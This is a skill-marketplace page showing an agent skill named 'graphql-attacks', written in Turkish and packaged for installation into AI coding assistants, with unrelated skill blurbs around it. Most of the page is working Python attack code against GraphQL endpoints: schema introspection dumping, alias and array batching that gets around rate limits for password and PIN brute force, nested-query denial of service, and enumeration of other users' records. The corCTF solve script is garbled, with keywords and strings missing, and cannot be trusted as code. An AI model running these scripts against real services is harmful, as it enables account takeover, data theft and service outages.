소스 정보
- 저장소
- aibot88/sec_skill_store
- 최근 소스 활동
- 2026년 5월 27일 03:47
- 감지된 SKILL.md 언어
- 튀르키예어
- 스타
- 3
- 포크
- 0
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/aibot88/sec_skill_store --skill graphql-attacks명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Guides the creation of agile user stories and Gherkin feature files. Use when the user wants to create a user story, write acceptance criteria, define Gherkin scenarios, or author BDD feature files. This should trigger for requests such as Create a user story; Write a user story; I need to write a user story. Part of cursor-rules-java project
Guía técnica completa para integrar 250+ servicios externos con agentes IA usando Composio. Cubre instalación, autenticación OAuth, gestión de herramientas, triggers y flujos multi-servicio.
Facilitates conversational discovery to create Architectural Decision Records (ADRs) for non-functional requirements using the ISO/IEC 25010:2023 quality model. Use when the user wants to document quality attributes, NFR decisions, security/performance/scalability architecture, or design systems with measurable quality criteria. This should trigger for requests such as Create ADR for Non-functional requirements; Document Non-functional requirements; Capture Non-functional requirements; Generate Non-functional requirements in an ADR. Part of cursor-rules-java project
SOC 직업 분류 기준
SKILL.md 표시 중
| name | graphql-attacks |
| description | GraphQL saldırıları — introspection, aliased query batching, rate limit bypass |
| tags | ["ctf","web","graphql","introspection","batching","rate-limit-bypass","brute-force"] |
| triggers | ["GraphQL","graphql endpoint","/graphql","query {","mutation {","rate limit","pin brute force","aliased queries"] |
| difficulty | medium |
| category | web |
| solved_challenges | ["corCTF 2023 - force (Fastify+Mercurius, 10000 alias/request ile 10^5 PIN brute)"] |
Introspection ile tüm query/mutation/type bilgisini çek. Uygulamalar bunu kapatmayı unutabilir.
import requests
import json
TARGET = "http://<IP>:<PORT>/graphql"
# Standart introspection query
INTROSPECTION_QUERY = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) {
name
isDeprecated
}
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
"""
def introspect(url, headers=None):
"""GraphQL şemasını çek ve yazdır"""
if headers is None:
headers = {"Content-Type": "application/json"}
r = requests.post(url, json={"query": INTROSPECTION_QUERY}, headers=headers)
if r.status_code != 200:
print(f"[!] Introspection başarısız: {r.status_code}")
print(r.text[:300])
return None
data = r.json()
if "errors" in data:
print("[!] Introspection kapalı veya hata:", data["errors"])
return None
schema = data["data"]["__schema"]
print(f"[*] Query tipi: {schema['queryType']}")
print(f"[*] Mutation tipi: {schema['mutationType']}")
print(f"\n[*] Tüm tipler:")
for t in schema["types"]:
if not t["name"].startswith("__"):
print(f" {t['kind']}: {t['name']}")
if t.get("fields"):
for f in t["fields"]:
args = ", ".join(a["name"] for a in f.get("args", []))
print(f" .{f['name']}({args})")
return schema
# Introspection'ı başlat
schema = introspect(TARGET)
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Introspection kapalı olsa bile __type ile tek tip sorgulayabilirsin
r = requests.post(TARGET, json={
"query": '{ __type(name: "User") { name fields { name type { name } } } }'
})
print(r.json())
# Field suggestion: yanlış alan adı yaz, GraphQL "Did you mean X?" der
r = requests.post(TARGET, json={
"query": '{ user { passw } }' # "passw" yok ama "password" varsa öneri gelir
})
print(r.text)
GraphQL, tek request'te birden fazla query çalıştırmaya izin verir — alias kullanarak. Rate limit IP başına request sayısını sayıyorsa, 10000 alias = 10000 deneme = 1 request.
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Tek request'te birden fazla query (array batching)
batch_query = [
{"query": 'query { user(id: 1) { name } }'},
{"query": 'query { user(id: 2) { name } }'},
{"query": 'mutation { login(username:"admin", password:"pass1") { token } }'},
]
r = requests.post(TARGET, json=batch_query)
print(r.json())
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Alias ile aynı mutation'ı farklı argümanlarla çalıştır
# Rate limit 1 request = 1 deneme sayıyorsa, her alias ayrı denemedir
passwords = ["password", "admin", "123456", "letmein", "qwerty"]
aliases = "\n".join([
f' attempt_{i}: login(username: "admin", password: "{pwd}") {{ token success }}'
for i, pwd in enumerate(passwords)
])
query = f"mutation {{\n{aliases}\n}}"
print("Query:")
print(query)
r = requests.post(TARGET, json={"query": query})
data = r.json()
for i, pwd in enumerate(passwords):
result = data["data"].get(f"attempt_{i}", {})
if result.get("success") or result.get("token"):
print(f"[!] BULUNDU: password={pwd}, token={result.get('token')}")
Senaryo: Fastify + Mercurius GraphQL sunucusu. 6 haneli PIN (10^6 olasılık). Rate limit request bazlı. Tek request'e 10000 alias sığdırılıyor → 100 request ile tüm uzay taranıyor.
#!/usr/bin/env python3
"""
corCTF 2023 - force
GraphQL aliased batching ile 10^6 PIN brute force
100 request x 10000 alias = 1.000.000 deneme
"""
import requests
import json
TARGET = "http://<HEDEF_IP>:<PORT>/graphql"
USERNAME = "admin"
ALIASES_PER_REQUEST = 10000
SESSION = requests.Session()
# SESSION.proxies = {"http": "http://127.0.0.1:8080"}
def build_pin_query(pin_start, count):
"""pin_start'tan itibaren 'count' adet PIN'i tek sorguda dene"""
aliases = []
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
# PIN 6 hane, leading zero ile
pin_str = f"{pin:06d}"
alias = f" p{pin_str}: login(username: \"{USERNAME}\", pin: \"{pin_str}\") {{ success token flag }}"
aliases.append(alias)
query = "mutation {\n" + "\n".join(aliases) + "\n}"
return query
def check_response(data, pin_start, count):
"""Response'da başarılı giriş ara"""
for i in range(count):
pin = pin_start + i
if pin > 999999:
break
pin_str = f"{pin:06d}"
result = data.get(f"p{pin_str}", {})
result (result.get() result.get() result.get()):
pin_str, result
,
():
()
()
()
()
()
batch_num ( // ALIASES_PER_REQUEST):
pin_start = batch_num * ALIASES_PER_REQUEST
query = build_pin_query(pin_start, ALIASES_PER_REQUEST)
(, end=)
:
r = SESSION.post(
TARGET,
json={: query},
headers={: },
timeout=
)
r.status_code != :
()
data = r.json().get(, {})
found_pin, result = check_response(data, pin_start, ALIASES_PER_REQUEST)
found_pin:
()
()
()
requests.exceptions.Timeout:
()
batch_num -=
Exception e:
()
()
__name__ == :
main()
# Mercurius hem array batch hem alias destekler
# Bunları birleştirince çarpım etkisi:
# 10 array batch x 1000 alias = 10000 deneme / request
import requests
TARGET = "http://<IP>:<PORT>/graphql"
def mega_batch(pin_start, aliases_per=1000, arrays=10):
batch = []
for arr_idx in range(arrays):
start = pin_start + arr_idx * aliases_per
aliases = "\n".join([
f' p{(start+i):06d}: login(pin: "{(start+i):06d}") {{ success flag }}'
for i in range(aliases_per)
if start + i <= 999999
])
batch.append({"query": f"mutation {{\n{aliases}\n}}"})
return batch
r = requests.post(TARGET, json=mega_batch(0))
print(r.status_code, r.text[:200])
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Nested query ile DoS (depth limit yoksa)
nested = "user { friends { friends { friends { friends { name } } } } }"
r = requests.post(TARGET, json={"query": f"{{ {nested} }}"})
print(r.status_code)
# "Did you mean X?" mesajlarını kullan
import requests
TARGET = "http://<IP>:<PORT>/graphql"
fields_to_probe = ["pass", "passwd", "pwd", "secret", "flag", "key", "token", "auth"]
for field in fields_to_probe:
r = requests.post(TARGET, json={"query": f'{{ user {{ {field} }} }}'})
if "Did you mean" in r.text or "suggestion" in r.text.lower():
print(f"[*] '{field}' için öneri:", r.json())
import requests
TARGET = "http://<IP>:<PORT>/graphql"
# Kendi token'ın ile başka kullanıcıların datasına eriş
headers = {"Authorization": "Bearer <senin_tokenin>"}
for user_id in range(1, 100):
r = requests.post(
TARGET,
json={"query": f'{{ user(id: {user_id}) {{ id username email flag }} }}'},
headers=headers
)
data = r.json().get("data", {}).get("user", {})
if data and data.get("flag"):
print(f"[!] Flag bulundu user_id={user_id}: {data['flag']}")
elif data:
print(f" user_id={user_id}: {data}")
# Kurulum
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
pip3 install -r requirements.txt
# Kullanım
python3 graphqlmap.py -u http://<IP>/graphql --method POST
# Kurulum
pip3 install clairvoyance
# Kullanım (introspection kapalı endpoint için field tahmin)
clairvoyance http://<IP>/graphql -o schema.json
# Wordlist ile
clairvoyance http://<IP>/graphql -o schema.json -w /usr/share/wordlists/rockyou.txt
1. Burp'ta /graphql endpoint'ini bul
2. Sağ tık → Send to Repeater
3. Content-Type: application/json yap
4. Body: {"query": "{ __typename }"} — sunucu graphql mi?
5. InQL Burp extension ile introspection otomatik yap
clairvoyance veya elle probe et./graphql?query={user{name}}